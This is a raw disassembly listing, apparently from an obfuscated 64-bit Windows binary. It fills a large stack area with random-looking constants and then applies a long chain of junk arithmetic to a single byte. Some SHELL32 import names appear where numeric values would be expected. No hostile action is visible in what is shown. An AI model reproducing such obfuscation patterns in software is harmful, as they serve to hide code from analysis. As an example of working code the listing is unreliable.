mov qword [rsp + 0x5340], rax
mov eax, 0x2bb0
mov word [rsp + 0xaf4], ax
mov dword [rsp + 0x2d4c], 0x14cdb186
mov byte [rsp + 0xdb], 0x39
mov byte [rsp + 0xdc], 0x7a
mov byte [rsp + 0xdd], 0x32
movabs rax, 0x4d544d4a8bcd48ba
mov qword [rsp + 0x5348], rax
mov dword [rsp + 0x2d50], 0x738a53ed
mov byte [rsp + 0xde], 0x53
mov eax, 0x181
mov word [rsp + 0xaf8], ax
mov eax, 0x357
mov word [rsp + 0xafc], ax
mov dword [rsp + 0x2d54], 0x7c8a448c
mov eax, 0x70c
mov word [rsp + 0xb00], ax
mov eax, 0x71d
mov word [rsp + 0xb04], ax
mov eax, 0x4b13
mov word [rsp + 0xb08], ax
mov byte [rsp + 0xdf], 0xa2
movabs rax, 0xbd7d07ae098b100f
mov qword [rsp + 0x5350], rax
movabs rax, 0x281564cee2f9dab6
mov qword [rsp + 0x5358], rax
mov byte [rsp + 0xe0], 0x36
mov eax, 0x3767
mov word [rsp + 0xb0c], ax
mov eax, 0x7b9d
mov word [rsp + 0xb10], ax
movabs rax, 0x38ec30a2c4bf4904
mov qword [rsp + 0x5360], rax
mov eax, 0x3d5
mov word [rsp + 0xb14], ax
movabs rax, 0xad6c24973efc07f9
mov qword [rsp + 0x5368], rax
mov eax, 0x3bc
mov word [rsp + 0xb18], ax
mov eax, 0x1d67
mov word [rsp + 0xb1c], ax
mov byte [rsp + 0xe1], 0xfd
mov eax, 0xf37
mov word [rsp + 0xb20], ax
mov eax, 0x635
mov word [rsp + 0xb24], ax
mov byte [rsp + 0xe2], 0x62
mov byte [rsp + 0xe3], 0x78
mov dword [rsp + 0x2d58], 0x5b60bfd8
mov byte [rsp + 0xe4], 0x6b
mov eax, 0x5b48
mov word [rsp + 0xb28], ax
mov eax, 0x6ae
mov word [rsp + 0xb2c], ax
movabs rax, 0x55d4e4ced07550e4
mov qword [rsp + 0x5370], rax
movabs rax, 0xbff172213ec8d46
mov qword [rsp + 0x5378], rax
movabs rax, 0x9d8f983470a78b3c
mov qword [rsp + 0x5380], rax
mov dword [rsp + 0x2d5c], 0x7818754e
mov byte [rsp + 0xe5], 0x20
mov eax, 0x629
mov word [rsp + 0xb30], ax
mov dword [rsp + 0x2d60], 0x7becb0ab
mov dword [rsp + 0x2d64], 0xab9d730e
mov dword [rsp + 0x2d68], 0xa393e2c1
mov eax, 0x16d0
mov word [rsp + 0xb34], ax
mov eax, 0x5213
mov word [rsp + 0xb38], ax
movabs rax, 0xb8fbc77cd522222e
mov qword [rsp + 0x5388], rax
mov dword [rsp + 0x2d6c], 0xcc5f81aa
mov byte [rsp + 0xe6], 0x89
mov eax, 0xe51
mov word [rsp + 0xb3c], ax
mov eax, 0x5ff2
mov word [rsp + 0xb40], ax
mov byte [rsp + 0xe7], ILCombine
mov eax, 0x172
mov word [rsp + 0xb44], ax
mov eax, 0x75
mov word [rsp + 0xb48], ax
mov byte [rsp + 0xe8], 0xfe
mov dword [rsp + 0x2d70], 0x5c23b7a9
movabs rax, 0x689e1e94f92b9adb
mov qword [rsp + 0x5390], rax
mov byte [rsp + 0xe9], ILClone
mov dword [rsp + 0x2d74], 0x6abe53f3
mov byte [rsp + 0xea], PathMakeUniqueName
movabs rax, 0x565a48c37e18a04a
mov qword [rsp + 0x5398], rax
mov dword [rsp + 0x2d78], 0x253a8e85
mov eax, 0x4b45
mov word [rsp + 0xb4c], ax
mov dword [rsp + 0x2d7c], 0x65932211
mov byte [rsp + 0xeb], 0x57
movabs rax, 0x4b1670b301f94ed6
mov qword [rsp + 0x53a0], rax
mov byte [rsp + 0xec], ILCreateFromPathW
movabs rax, 0x21179ee74184dc12
mov qword [rsp + 0x53a8], rax
mov byte [rsp + 0xed], 0x39
mov eax, SHSetInstanceExplorer
mov word [rsp + 0xb50], ax
mov byte [rsp + 0xee], 0xa
movabs rax, 0x4860327c41c4a9e5
mov qword [rsp + 0x53b0], rax
movabs rax, 0x28fde9b536545418
mov qword [rsp + 0x53b8], rax
mov eax, 0x997
mov word [rsp + 0xb54], ax
mov dword [rsp + 0x2d80], 0x12688c64
movabs rax, 0x514b130cb0a033db
mov qword [rsp + 0x53c0], rax
mov dword [rsp + 0x2d84], 0x7eb300e5
movabs rax, 0x2613b2bc528093b6
mov qword [rsp + 0x53c8], rax
mov dword [rsp + 0x2d88], 0x50c0f5f7
mov dword [rsp + 0x2d8c], 0xfdc6fca8
mov byte [rsp + 0xef], 0x8c
movabs rax, 0x84f9b61623310783
mov qword [rsp + 0x53d0], rax
mov byte [rsp + 0xf0], ILClone
movabs rax, 0x40788f31c7633c1d
mov qword [rsp + 0x53d8], rax
movabs rax, 0x130690f8c59f94a7
mov qword [rsp + 0x53e0], rax
movabs rax, 0xe1f4a05d24e29e7
mov qword [rsp + 0x53e8], rax
mov dword [rsp + 0x2d90], 0x6a1657d5
movabs rax, 0xc87a9a4c80a64fb4
mov qword [rsp + 0x53f0], rax
mov eax, 0x4c48
mov word [rsp + 0xb58], ax
mov eax, 0x1a8
mov word [rsp + 0xb5c], ax
mov byte [rsp + 0xf1], PathMakeUniqueName
movabs rax, 0xfe3f7e115d2d945f
mov qword [rsp + 0x53f8], rax
mov byte [rsp + 0xf2], 0x71
mov dword [rsp + 0x2d94], 0x24589471
mov dword [rsp + 0x2d98], 0x5e77d89a
mov eax, 0x6bfb
mov word [rsp + 0xb60], ax
mov byte [rsp + 0xf3], 0x56
mov byte [rsp + 0xf4], 0x1f
movabs rax, 0xc72c9056822836aa
mov qword [rsp + 0x5400], rax
mov eax, 0x14d
mov word [rsp + 0xb64], ax
mov eax, 0x545
mov word [rsp + 0xb68], ax
mov eax, 0xe58
mov word [rsp + 0xb6c], ax
movabs rax, 0x733e91df4d20d7e7
mov qword [rsp + 0x5408], rax
mov byte [rsp + 0xf5], 0x3e
mov byte [rsp + 0xf6], 0x57
mov byte [rsp + 0xf7], 0xd4
mov dword [rsp + 0x2d9c], 0x1bf1eef1
mov eax, 0xb5f
mov word [rsp + 0xb70], ax
movabs rax, 0x2014804d00dbc5d
mov qword [rsp + 0x5410], rax
mov byte [rsp + 0xf8], 0xd8
mov dword [rsp + 0x2da0], 0x676c4102
mov dword [rsp + 0x2da4], 0x72c4c585
mov byte [rsp + 0xf9], PathYetAnotherMakeUniqueName
movabs rax, 0x1a6f7b50d1de45b7
mov qword [rsp + 0x5418], rax
mov eax, 0x1a77
mov word [rsp + 0xb74], ax
mov eax, 0x15c1
mov word [rsp + 0xb78], ax
mov dword [rsp + 0x2da8], 0x33bd8154
movabs rax, 0xe85a8f9af85f11ca
mov qword [rsp + 0x5420], rax
mov eax, 0x4f35
mov word [rsp + 0xb7c], ax
mov byte [rsp + 0xfa], 0x39
mov byte [rsp + 0xfb], 0x3f
movabs rax, 0x19d6bb73f1e8bb91
mov qword [rsp + 0x5428], rax
mov eax, 0x1bbd
mov word [rsp + 0xb80], ax
mov byte [rsp + 0xfc], PathMakeUniqueName
mov eax, 0x1675
mov word [rsp + 0xb84], ax
mov byte [rsp + 0xfd], 0x3d
mov byte [rsp + 0xfe], PathYetAnotherMakeUniqueName
movabs rax, 0x3e720ce671472443
mov qword [rsp + 0x5430], rax
mov dword [rsp + 0x2dac], 0x72edb244
mov eax, 0xe51
mov word [rsp + 0xb88], ax
mov byte [rsp + 0xff], 0x51
mov byte [rsp + 0x100], 0x24
movabs rax, 0x957f96b8ea188ffc
mov qword [rsp + 0x5438], rax
mov byte [rsp + 0x101], 0x85
movabs rax, 0xc4831fe324a820fe
mov qword [rsp + 0x5440], rax
mov byte [rsp + 0x102], 0xea
mov eax, 0xf14
mov word [rsp + 0xb8c], ax
mov dword [rsp + 0x2db0], 0xc815a5f6
mov eax, 0x2f5
mov word [rsp + 0xb90], ax
mov byte [rsp + 0x103], 0x4c
mov byte [rsp + 0x104], 0x20
mov dword [rsp + 0x2db4], 0x45ba640e
mov byte [rsp + 0x105], 0x3a
mov byte [rsp + 0x106], 0x66
mov byte [rsp + 0x107], 0x72
movabs rax, 0x4adc772388d4083c
mov qword [rsp + 0x5448], rax
movabs rax, 0x667b2933d8b16891
mov qword [rsp + 0x5450], rax
mov byte [rsp + 0x108], 0x9e
movabs rax, 0x42e2b8d179d4c748
mov qword [rsp + 0x5458], rax
movabs rax, 0x73a00c1a7524dbaa
mov qword [rsp + 0x5460], rax
mov dword [rsp + 0x2db8], 0x421a0c15
mov byte [rsp + 0x109], 0x32
mov byte [rsp + 0x10a], 0x31
movabs rax, 0x1f4753d57affc45a
mov qword [rsp + 0x5468], rax
mov dword [rsp + 0x2dbc], 0xb035a7
mov byte [rsp + 0x10b], 5
movabs rax, 0x1b279df2f5ece871
mov qword [rsp + 0x5470], rax
mov dword [rsp + 0x2dc0], 0x16310562
mov byte [rsp + 0x10c], 0x23
movabs rax, 0x5612839dd621c386
mov qword [rsp + 0x5478], rax
mov dword [rsp + 0x2dc4], 0xbbbf341a
mov byte [rsp + 0x10d], 0x69
mov byte [rsp + 0x10e], reloc.SHELL32.dll_ILCombine
mov dword [rsp + 0x2dc8], 0x63aa8882
mov byte [rsp + 0x10f], 0xc4
movabs rax, 0xfa86a091f0f5be5
mov qword [rsp + 0x5480], rax
mov dword [rsp + 0x2dcc], 0x5b277ed0
movabs rax, 0x4db0564104a4beb5
mov qword [rsp + 0x5488], rax
movabs rax, 0xcfba6afb0c5e0b16
mov qword [rsp + 0x5490], rax
movabs rax, 0x7030a2647467c23a
mov qword [rsp + 0x5498], rax
mov dword [rsp + 0x2dd0], 0x50901ecc
mov byte [rsp + 0x110], 0x24
mov dword [rsp + 0x2dd4], 0x36e1ffe9
mov dword [rsp + 0x2dd8], 0x54b17032
mov eax, 0x628
mov word [rsp + 0xb94], ax
mov byte [rsp + 0x111], 0xec
mov dword [rsp + 0x2ddc], 0x1b1c9c74
movabs rax, 0x4fb4650110ae81ea
mov qword [rsp + 0x54a0], rax
mov dword [rsp + 0x2de0], 0x395ff69
mov dword [rsp + 0x2de4], 0xb6ac9117
movabs rax, 0x29db73647a8fbb2c
mov qword [rsp + 0x54a8], rax
movabs rax, 0x486ff4322440025e
mov qword [rsp + 0x54b0], rax
movabs rax, 0x6f7c33c752f8ab5
mov qword [rsp + 0x54b8], rax
mov dword [rsp + 0x2de8], 0x1e79f774
mov eax, 0x2a95
mov word [rsp + 0xb98], ax
mov dword [rsp + 0x2dec], 0x4debc3d4
mov byte [rsp + 0x112], 0x34
mov eax, 0x448
mov word [rsp + 0xb9c], ax
mov dword [rsp + 0x2df0], 0x4f9abcb
mov eax, 0x215f
mov word [rsp + 0xba0], ax
mov dword [rsp + 0x2df4], 0x33ff577a
mov eax, 0x29b
mov word [rsp + 0xba4], ax
mov byte [rsp + 0x113], 0x75
mov byte [rsp + 0x114], 0xc8
mov eax, 0xb11
mov word [rsp + 0xba8], ax
mov dword [rsp + 0x2df8], 0x458e48ce
movabs rax, 0xb70d8ff1399b0729
mov qword [rsp + 0x54c0], rax
mov byte [rsp + 0x115], SHSetInstanceExplorer
mov dword [rsp + 0x2dfc], 0xd3c4421b
mov byte [rsp + 0x116], 0x52
mov eax, 0x890
mov word [rsp + 0xbac], ax
mov eax, SHGetImageList
mov word [rsp + 0xbb0], ax
movabs rax, 0x72e0782e899442d2
mov qword [rsp + 0x54c8], rax
mov dword [rsp + 0x2e00], 0x152da545
mov byte [rsp + 0x117], ILGetSize
movabs rax, 0x51b1a5077c828b29
mov qword [rsp + 0x54d0], rax
mov byte [rsp + 0x118], 0x57
mov byte [rsp + 0x119], 0xa
mov byte [rsp + 0x11a], 0x5c
movabs rax, 0x31b854f09ee60c0b
mov qword [rsp + 0x54d8], rax
mov byte [rsp + 0x11b], 0xe2
mov eax, 0x9ce
mov word [rsp + 0xbb4], ax
mov eax, 0x2bba
mov word [rsp + 0xbb8], ax
movabs rax, 0xaa62c88e1a93d3c5
mov qword [rsp + 0x54e0], rax
mov dword [rsp + 0x2e04], 0x79aeaa70
mov eax, 0x1c2
mov word [rsp + 0xbbc], ax
mov byte [rsp + 0x11c], 0x4d
movabs rax, 0x3da5a1fb89265c2d
mov qword [rsp + 0x54e8], rax
mov dword [rsp + 0x2e08], 0x6bbfaa65
movabs rax, 0x19686fa197ef3a6
mov qword [rsp + 0x54f0], rax
movabs rax, 0x394a884039c151eb
mov qword [rsp + 0x54f8], rax
mov byte [rsp + 0x11d], 1
mov eax, 0x7364
mov word [rsp + 0xbc0], ax
mov eax, 0xd5b
mov word [rsp + 0xbc4], ax
movabs rax, 0x17660f584051d830
mov qword [rsp + 0x5500], rax
movabs rax, 0x7eedb5d3c8a8375e
mov qword [rsp + 0x5508], rax
mov eax, 0xd1d
mov word [rsp + 0xbc8], ax
mov eax, 0x29d
mov word [rsp + 0xbcc], ax
mov eax, 0xa67
mov word [rsp + 0xbd0], ax
mov dword [rsp + 0x2e0c], 0x2a14024e
mov eax, 0x680
mov word [rsp + 0xbd4], ax
movabs rax, 0xae3bd84f15f5bf1f
mov qword [rsp + 0x5510], rax
mov byte [rsp + 0x11e], 0x52
movabs rax, 0x3232e201116094a4
mov qword [rsp + 0x5518], rax
mov dword [rsp + 0x2e10], 0x2442df50
movabs rax, 0x575733447edc1db4
mov qword [rsp + 0x5520], rax
mov dword [rsp + 0x2e14], 0xdf80c1d3
movabs rax, 0x57e3e394c5e803c8
mov qword [rsp + 0x5528], rax
movabs rax, 0x4674b16c41d8e09
mov qword [rsp + 0x5530], rax
movabs rax, 0x8507e0fb374f4760
mov qword [rsp + 0x5538], rax
movabs rax, 0x473a3e609537764a
mov qword [rsp + 0x5540], rax
movabs rax, 0x44400979236c1959
mov qword [rsp + 0x5548], rax
mov eax, 0xa8e
mov word [rsp + 0xbd8], ax
movabs rax, 0xfa13f202bd60640e
mov qword [rsp + 0x5550], rax
mov byte [rsp + 0x11f], 0x8a
movabs rax, 0xfe9c88dad73f427a
mov qword [rsp + 0x5558], rax
mov byte [rsp + 0x120], 0x5b
mov dword [rsp + 0x2e18], 0xf20fed9
mov eax, 0x1f4
mov word [rsp + 0xbdc], ax
mov byte [rsp + 0x121], reloc.SHELL32.dll_ILSaveToStream
mov eax, 0x4ebc
mov word [rsp + 0xbe0], ax
mov byte [rsp + 0x122], 0x4f
mov byte [rsp + 0x123], SHSetInstanceExplorer
mov dword [rsp + 0x2e1c], 0x6f2b4725
mov eax, 0x11a2
mov word [rsp + 0xbe4], ax
mov eax, 0x1150
mov word [rsp + 0xbe8], ax
mov byte [rsp + 0x124], PathMakeUniqueName
movabs rax, 0xd72f0532add84ef
mov qword [rsp + 0x5560], rax
movabs rax, 0x88e7d2a395eb4f96
mov qword [rsp + 0x5568], rax
movabs rax, 0x6d1ec12d8a18f345
mov qword [rsp + 0x5570], rax
mov eax, 0x78e1
mov word [rsp + 0xbec], ax
mov byte [rsp + 0x125], 0x67
mov eax, 0x395e
mov word [rsp + 0xbf0], ax
mov dword [rsp + 0x2e20], 0x1a0aeefb
movabs rax, 0xcc00626964b86248
mov qword [rsp + 0x5578], rax
mov dword [rsp + 0x2e24], 0x747827dc
mov dword [rsp + 0x2e28], 0xdee0037
mov eax, 0x5e80
mov word [rsp + 0xbf4], ax
movabs rax, 0xe9e438bd3da562bf
mov qword [rsp + 0x5580], rax
movabs rax, 0x6baff9ddebf4cd8c
mov qword [rsp + 0x5588], rax
mov eax, 0xa66
mov word [rsp + 0xbf8], ax
movabs rax, 0xf641b11564502738
mov qword [rsp + 0x5590], rax
mov byte [rsp + 0x126], 0x68
movabs rax, 0xe48703ed9ede6eac
mov qword [rsp + 0x5598], rax
movabs rax, 0xd0ca871059397f
mov qword [rsp + 0x55a0], rax
mov dword [rsp + 0x2e2c], 0xd15bbdf9
mov byte [rsp + 0x127], PathYetAnotherMakeUniqueName
mov byte [rsp + 0x128], PathMakeUniqueName
mov eax, 0x4db
mov word [rsp + 0xbfc], ax
mov dword [rsp + 0x2e30], 0x5d8b67f8
mov byte [rsp + 0x129], 0x61
mov dword [rsp + 0x2e34], 0x447acbae
mov eax, 0xe97
mov word [rsp + 0xc00], ax
mov byte [rsp + 0x12a], ILCombine
mov dword [rsp + 0x2e38], 0x4f94452a
mov byte [rsp + 0x12b], 0x39
movabs rax, 0x7646a9db5ad1d048
mov qword [rsp + 0x55a8], rax
mov dword [rsp + 0x2e3c], 0xfc04715e
mov byte [rsp + 0x12c], 0x51
mov eax, 0x266
mov word [rsp + 0xc04], ax
movabs rax, 0x7c03e52f7208910d
mov qword [rsp + 0x55b0], rax
mov byte [rsp + 0x12d], ILCombine
mov dword [rsp + 0x2e40], 0xc5ce3943
mov eax, 0x288c
mov word [rsp + 0xc08], ax
movabs rax, 0xbc7074fc1f803551
mov qword [rsp + 0x55b8], rax
mov eax, 0x111
mov word [rsp + 0xc0c], ax
movabs rax, 0xefdc74abd8495041
mov qword [rsp + 0x55c0], rax
mov dword [rsp + 0x2e44], 0xade9adb8
mov byte [rsp + 0x12e], 0x22
movabs rax, 0x9bcb0645a4e7de70
mov qword [rsp + 0x55c8], rax
mov dword [rsp + 0x2e48], 0x57a4b816
mov dword [rsp + 0x2e4c], 0x44f6d00a
movabs rax, 0xcac10fb9ad06110a
mov qword [rsp + 0x55d0], rax
mov eax, 0x60ee
mov word [rsp + 0xc10], ax
movabs rax, 0x8dce98332cd6f12b
mov qword [rsp + 0x55d8], rax
mov byte [rsp + 0x12f], 0xc5
mov eax, 0x4fb9
mov word [rsp + 0xc14], ax
mov eax, 0x11d
mov word [rsp + 0xc18], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rsp + 0x21de0]
call fcn.1401b87c0
movabs rax, 0xd0186600cafd0d6c
mov qword [rsp + 0x55e0], rax
movabs rax, 0x2bc95c9f8a062db4
mov qword [rsp + 0x55e8], rax
mov dword [rsp + 0x2e50], 0x47141698
mov eax, 0xe12
mov word [rsp + 0xc1c], ax
mov dword [rsp + 0x2e54], 0x8d42d26b
mov byte [rsp + 0x130], ILClone
mov eax, 0x7f87
mov word [rsp + 0xc20], ax
mov dword [rsp + 0x2e58], 0x75f35636
mov dword [rsp + 0x2e5c], 0x32fc4acb
mov byte [rsp + 0x131], 0xfe
mov byte [rsp + 0x132], 0x74
mov eax, 0xc8d
mov word [rsp + 0xc24], ax
movabs rax, 0x9edf75a44d63a9ad
mov qword [rsp + 0x55f0], rax
mov dword [rsp + 0x2e60], 0xa63bccb
mov dword [rsp + 0x2e64], 0xd5d6457e
mov byte [rsp + 0x133], SHSetInstanceExplorer
mov dword [rsp + 0x2e68], 0x37d63df4
movabs rax, 0x37e86d2a2cc71f8
mov qword [rsp + 0x55f8], rax
movabs rax, 0x15d0aa4de72358c0
mov qword [rsp + 0x5600], rax
mov eax, 0x6d7b
mov word [rsp + 0xc28], ax
mov dword [rsp + 0x2e6c], 0x13520ff6
mov eax, 0x64bd
mov word [rsp + 0xc2c], ax
mov byte [rsp + 0x134], 0x68
mov dword [rsp + 0x2e70], 0x89a9869c
mov eax, 0x8f2
mov word [rsp + 0xc30], ax
movabs rax, 0x2798f6ae72b0c996
mov qword [rsp + 0x5608], rax
movabs rax, 0xd1cb80494329d70c
mov qword [rsp + 0x5610], rax
mov byte [rsp + 0x135], ILCombine
movabs rax, 0x32a1a8783a3b35c
mov qword [rsp + 0x5618], rax
mov byte [rsp + 0x136], 0x5f
movabs rax, 0x5dfb401c3183b9c9
mov qword [rsp + 0x5620], rax
mov byte [rsp + 0x137], PathMakeUniqueName
mov eax, 0x1b80
mov word [rsp + 0xc34], ax
mov dword [rsp + 0x2e74], 0x84a66a9f
mov eax, 0xf30
mov word [rsp + 0xc38], ax
movabs rax, 0x3654970baddd11b1
mov qword [rsp + 0x5628], rax
mov byte [rsp + 0x138], 0x7e
mov eax, 0x11ef
mov word [rsp + 0xc3c], ax
movabs rax, 0x6546e81ec869da3d
mov qword [rsp + 0x5630], rax
mov eax, 0x260
mov word [rsp + 0xc40], ax
mov dword [rsp + 0x2e78], 0x21003e49
mov dword [rsp + 0x2e7c], 0x67770f8c
mov eax, 0x59ca
mov word [rsp + 0xc44], ax
movabs rax, 0x9cbe7340b73bec2a
mov qword [rsp + 0x5638], rax
mov byte [rsp + 0x139], 0x33
movabs rax, 0x3a90e4f095921344
mov qword [rsp + 0x5640], rax
mov byte [rsp + 0x13a], 0x56
mov byte [rsp + 0x13b], 0x7e
mov dword [rsp + 0x2e80], 0x2bf08dda
mov byte [rsp + 0x13c], PathYetAnotherMakeUniqueName
mov eax, 0xfa0
mov word [rsp + 0xc48], ax
mov dword [rsp + 0x2e84], 0xf70732ac
mov eax, 0x3053
mov word [rsp + 0xc4c], ax
mov byte [rsp + 0x13d], 4
mov byte [rsp + 0x13e], 0xe1
mov byte [rsp + 0x13f], ILCreateFromPathW
movabs rax, 0x7367d5bfb69f21c6
mov qword [rsp + 0x5648], rax
movabs rax, 0xe1e39cd588b257d3
mov qword [rsp + 0x5650], rax
mov dword [rsp + 0x2e88], 0xc02808e9
mov dword [rsp + 0x2e8c], 0x15a26639
movabs rax, 0x7fb1bae18c26313b
mov qword [rsp + 0x5658], rax
movabs rax, 0x146f50b41be6e96e
mov qword [rsp + 0x5660], rax
movabs rax, 0xaab3924c7584543a
mov qword [rsp + 0x5668], rax
mov byte [rsp + 0x140], 0x71
mov dword [rsp + 0x2e90], 0x2fc62be1
mov dword [rsp + 0x2e94], 0x7142e2ac
mov byte [rsp + 0x141], 0xc4
mov dword [rsp + 0x2e98], 0x5ced3848
mov eax, 0xed6
mov word [rsp + 0xc50], ax
mov byte [rsp + 0x142], PathMakeUniqueName
mov eax, 0x16a
mov word [rsp + 0xc54], ax
mov eax, 0x4ad4
mov word [rsp + 0xc58], ax
mov dword [rsp + 0x2e9c], 0x768887aa
mov byte [rsp + 0x143], ILCreateFromPathW
mov eax, 0x359d
mov word [rsp + 0xc5c], ax
mov byte [rsp + 0x144], 0xc5
mov eax, 0xefa
mov word [rsp + 0xc60], ax
mov eax, 0x259
mov word [rsp + 0xc64], ax
mov dword [rsp + 0x2ea0], 0xcbf94377
mov eax, 0x53d9
mov word [rsp + 0xc68], ax
movabs rax, 0x3e82d7ebe264076b
mov qword [rsp + 0x5670], rax
mov dword [rsp + 0x2ea4], 0x4af45e9e
mov dword [rsp + 0x2ea8], 0x36d20799
mov byte [rsp + 0x145], 0x58
mov eax, 0x9f2
mov word [rsp + 0xc6c], ax
mov dword [rsp + 0x2eac], 0x6ef1b920
mov dword [rsp + 0x2eb0], 0x3b9bb75f
mov byte [rsp + 0x146], PathYetAnotherMakeUniqueName
mov dword [rsp + 0x2eb4], 0xe77dae04
mov byte [rsp + 0x147], 0xdf
mov eax, 0x321f
mov word [rsp + 0xc70], ax
mov byte [rsp + 0x148], PathYetAnotherMakeUniqueName
mov eax, 0x6eca
mov word [rsp + 0xc74], ax
mov byte [rsp + 0x149], 0x21
mov dword [rsp + 0x2eb8], 0xb504fc90
mov eax, 0x733
mov word [rsp + 0xc78], ax
mov eax, 0xf0
mov word [rsp + 0xc7c], ax
mov byte [rsp + 0x14a], 0x33
mov byte [rsp + 0x14b], 0x25
mov byte [rsp + 0x14c], 0x50
mov dword [rsp + 0x2ebc], 0x62b3b064
mov byte [rsp + 0x14d], 0x35
mov byte [rsp + 0x14e], 0x41
mov byte [rsp + 0x14f], PathMakeUniqueName
movabs rax, 0x3c2de4fb1b9d23e7
mov qword [rsp + 0x5678], rax
mov byte [rsp + 0x150], 0x39
mov byte [rsp + 0x151], 0x1d
mov dword [rsp + 0x2ec0], 0x71d499f
mov eax, 0x3af0
mov word [rsp + 0xc80], ax
mov eax, 0x792b
mov word [rsp + 0xc84], ax
movabs rax, 0x555be4b65b8ce12e
mov qword [rsp + 0x5680], rax
mov dword [rsp + 0x2ec4], 0xfec949d2
mov dword [rsp + 0x2ec8], 0x7460c774
movabs rax, 0xa8bb8d44742e27c9
mov qword [rsp + 0x5688], rax
mov eax, 0x142e
mov word [rsp + 0xc88], ax
mov byte [rsp + 0x152], 4
movabs rax, 0x142d47670cce79d7
mov qword [rsp + 0x5690], rax
movabs rax, 0x4a1f397f749cb799
mov qword [rsp + 0x5698], rax
mov byte [rsp + 0x153], 0x76
movabs rax, 0x593c952076034bff
mov qword [rsp + 0x56a0], rax
mov dword [rsp + 0x2ecc], 0x97baef96
movabs rax, 0x1b4d7ae54087ec03
mov qword [rsp + 0x56a8], rax
mov eax, 0x53
mov word [rsp + 0xc8c], ax
mov byte [rsp + 0x154], 0x24
mov eax, 0x829
mov word [rsp + 0xc90], ax
mov byte [rsp + 0x155], 0x3a
mov eax, 0x753
mov word [rsp + 0xc94], ax
movabs rax, 0xde527e25e999db40
mov qword [rsp + 0x56b0], rax
mov byte [rsp + 0x156], 0x67
mov byte [rsp + 0x157], 0x84
mov dword [rsp + 0x2ed0], 0x1add
mov dword [rsp + 0x2ed4], 0xfe5f
mov dword [rsp + 0x2ed8], 0x8114
movzx eax, byte [rsp + 0x157]
sub eax, 0x71
mov byte [rsp + 0x157], al
movzx eax, byte [rsp + 0x157]
add eax, 0x47
mov byte [rsp + 0x157], al
movzx eax, byte [rsp + 0x157]
and eax, 0x3e
mov byte [rsp + 0x157], al
movzx eax, byte [rsp + 0x157]
sar eax, 5
mov byte [rsp + 0x157], al
movzx eax, byte [rsp + 0x157]
xor eax, 0xa7
mov byte [rsp + 0x157], al
movzx eax, byte [rsp + 0x157]
or eax, 0xd1
mov byte [rsp + 0x157], al
movzx eax, byte [rsp + 0x157]
shl eax, 3
mov byte [rsp + 0x157], al
movzx eax, byte [rsp + 0x157]
add eax, 0x34
mov byte [rsp + 0x157], al
movzx eax, byte [rsp + 0x157]
sub eax, 0x9c
mov byte [rsp + 0x157], al
movzx eax, byte [rsp + 0x157]
and eax, 0xac
mov byte [rsp + 0x157], al
movzx eax, byte [rsp + 0x157]
sub eax, 0xa4
mov byte [rsp + 0x157], al
movzx eax, byte [rsp + 0x157]
add eax, 0x3d
mov byte [rsp + 0x157], al
movzx eax, byte [rsp + 0x157]
sub eax, 0x5b
mov byte [rsp + 0x157], al
movzx eax, byte [rsp + 0x157]
add eax, 0x76
mov byte [rsp + 0x157], al
movzx eax, byte [rsp + 0x157]
shl eax, 6
mov byte [rsp + 0x157], al
movzx eax, byte [rsp + 0x157]
sar eax, 5
mov byte [rsp + 0x157], al
movzx eax, byte [rsp + 0x157]
xor eax, 0x12
mov byte [rsp + 0x157], al
movzx eax, byte [rsp + 0x157]
or eax, 0xbd
mov byte [rsp + 0x157], al
movzx eax, byte [rsp + 0x157]
and eax, 0x86
mov byte [rsp + 0x157], al
movzx eax, byte [rsp + 0x157]
sub eax, 0x75
mov byte [rsp + 0x157], al
movzx eax, byte [rsp + 0x157]
add eax, 0xf
mov byte [rsp + 0x157], al
movzx eax, byte [rsp + 0x157]
add eax, 0xbf
mov byte [rsp + 0x157], al
movzx eax, byte [rsp + 0x157]
sub eax, 0x20
mov byte [rsp + 0x157], al
movzx eax, byte [rsp + 0x157]
and eax, 0x1f
mov byte [rsp + 0x157], al
mov eax, dword [rsp + 0x2ed0]
add eax, 0x72
mov dword [rsp + 0x2ed0], eax
movzx eax, byte [rsp + 0x157]
add eax, 0x5b
mov byte [rsp + 0x157], al
movzx eax, byte [rsp + 0x157]
sub eax, 0x16
mov byte [rsp + 0x157], al
movzx eax, byte [rsp + 0x157]
add eax, 0xf9
mov byte [rsp + 0x157], al
movzx eax, byte [rsp + 0x157]
sub eax, 0xd3
mov byte [rsp + 0x157], al
movzx eax, byte [rsp + 0x157]
shl eax, 1
mov byte [rsp + 0x157], al
movzx eax, byte [rsp + 0x157]
sar eax, 6
mov byte [rsp + 0x157], al
movzx eax, byte [rsp + 0x157]
xor eax, 0xce
mov byte [rsp + 0x157], al
movzx eax, byte [rsp + 0x157]
or eax, 0xb3
mov byte [rsp + 0x157], al
cmp dword [rsp + 0x2ed0], 0x34b1
jbe 0x1400560bc
movzx eax, byte [rsp + 0x157]
and eax, 0xda
mov byte [rsp + 0x157], al
movzx eax, byte [rsp + 0x157]
add eax, 0x53
mov byte [rsp + 0x157], al
movzx eax, byte [rsp + 0x157]
sub eax, 0xe5
mov byte [rsp + 0x157], al
movzx eax, byte [rsp + 0x157]
add eax, 0x5d
mov byte [rsp + 0x157], al
movzx eax, byte [rsp + 0x157]
sub eax, 0x4d
mov byte [rsp + 0x157], al
movzx eax, byte [rsp + 0x157]
sub eax, 0x71
mov byte [rsp + 0x157], al
mov eax, dword [rsp + 0x2ed8]
add eax, 0xc
mov dword [rsp + 0x2ed8], eax
movzx eax, byte [rsp + 0x157]
and eax, 0x69
mov byte [rsp + 0x157], al
movzx eax, byte [rsp + 0x157]
add eax, 0xd5
mov byte [rsp + 0x157], al
movzx eax, byte [rsp + 0x157]
add eax, 0x2d
mov byte [rsp + 0x157], al
movzx eax, byte [rsp + 0x157]
sub eax, 0x28
mov byte [rsp + 0x157], al
movzx eax, byte [rsp + 0x157]
shl eax, 5
mov byte [rsp + 0x157], al
movzx eax, byte [rsp + 0x157]
sar eax, 2
mov byte [rsp + 0x157], al
movzx eax, byte [rsp + 0x157]
xor eax, 0x47
mov byte [rsp + 0x157], al
movzx eax, byte [rsp + 0x157]
or eax, 0x5a
mov byte [rsp + 0x157], al
movzx eax, byte [rsp + 0x157]
and eax, 0x8c
mov byte [rsp + 0x157], al
movzx eax, byte [rsp + 0x157]
sub eax, 0xde
mov byte [rsp + 0x157], al
movzx eax, byte [rsp + 0x157]
add eax, 0x5f
mov byte [rsp + 0x157], al
movzx eax, byte [rsp + 0x157]
sub eax, 0xb2
mov byte [rsp + 0x157], al
movzx eax, byte [rsp + 0x157]
add eax, 0x36
